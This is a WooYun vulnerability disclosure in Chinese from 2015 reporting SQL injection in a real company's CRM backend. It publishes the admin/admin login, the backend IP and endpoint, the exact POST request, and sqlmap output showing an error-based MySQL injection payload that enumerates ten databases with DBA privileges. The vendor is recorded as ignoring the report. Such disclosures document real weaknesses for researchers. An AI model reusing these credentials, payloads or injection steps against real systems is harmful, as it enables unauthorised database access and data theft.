当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0153026

漏洞标题:一起唱SQL注入二(10库 DBA权限)

相关厂商:17chang.com

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-11-09 16:41

修复时间:2015-11-22 13:34

公开时间:2015-11-22 13:34

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-09: 细节已通知厂商并且等待厂商处理中
2015-11-22: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

23333333

详细说明:

http://crm.17chang.com/
账号:admin
密码:admin

0.png


后台 sql 防注入根本没开 随便抓了个包 跑了下
POST数据包:

POST /crm-server/rest/userservice/users/query HTTP/1.1
Host: 121.40.218.177:8080
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:42.0) Gecko/20100101 Firefox/42.0
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Content-Type: application/json; charset=utf-8
Referer: http://crm.17chang.com/content.html
Content-Length: 116
Origin: http://crm.17chang.com
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
{"area_equals":"","city_equals":"","title_equals":"","username_like":"*","phonenum_equals":"","enabled_equals":null}


1.png


然后看了下 当前权限 竟然是 DBA!!!!

2.png


漏洞证明:

(custom) POST parameter '#1*' is vulnerable. Do you want to keep testing the oth
ers (if any)? [y/N] n
sqlmap identified the following injection point(s) with a total of 40 HTTP(s) re
quests:
---
Parameter: #1* ((custom) POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause
Payload: {"area_equals":"","city_equals":"","title_equals":"","username_like
":"' AND (SELECT 3255 FROM(SELECT COUNT(*),CONCAT(0x71707a7871,(SELECT (ELT(3255
=3255,1))),0x717a787171,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SET
S GROUP BY x)a) AND 'rNlG'='rNlG","phonenum_equals":"","enabled_equals":null}
---
[14:22:37] [WARNING] changes made by tampering scripts are not included in shown
payload content(s)
[14:22:37] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL 5.0
[14:22:37] [INFO] fetching database names
[14:22:37] [INFO] the SQL query used returns 10 entries
[14:22:37] [INFO] starting 10 threads
[14:22:38] [INFO] retrieved: mysql
[14:22:38] [INFO] retrieved: test
[14:22:38] [INFO] retrieved: oms_dev
[14:22:38] [INFO] retrieved: mlm_dev
[14:22:38] [INFO] retrieved: information_schema
[14:22:38] [INFO] retrieved: crm_dev
[14:22:38] [INFO] retrieved: pms_dev
[14:22:38] [INFO] retrieved: yqc
[14:22:38] [INFO] retrieved: yqc_test
[14:22:38] [INFO] retrieved: yqc_initdata
available databases [10]:
[*] crm_dev
[*] information_schema
[*] mlm_dev
[*] mysql
[*] oms_dev
[*] pms_dev
[*] test
[*] yqc
[*] yqc_initdata
[*] yqc_test
[14:22:38] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 3 times
[14:22:38] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\121.40.218.177'
[*] shutting down at 14:22:38

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-11-22 13:34

厂商回复:

漏洞Rank:4 (WooYun评价)

最新状态:

暂无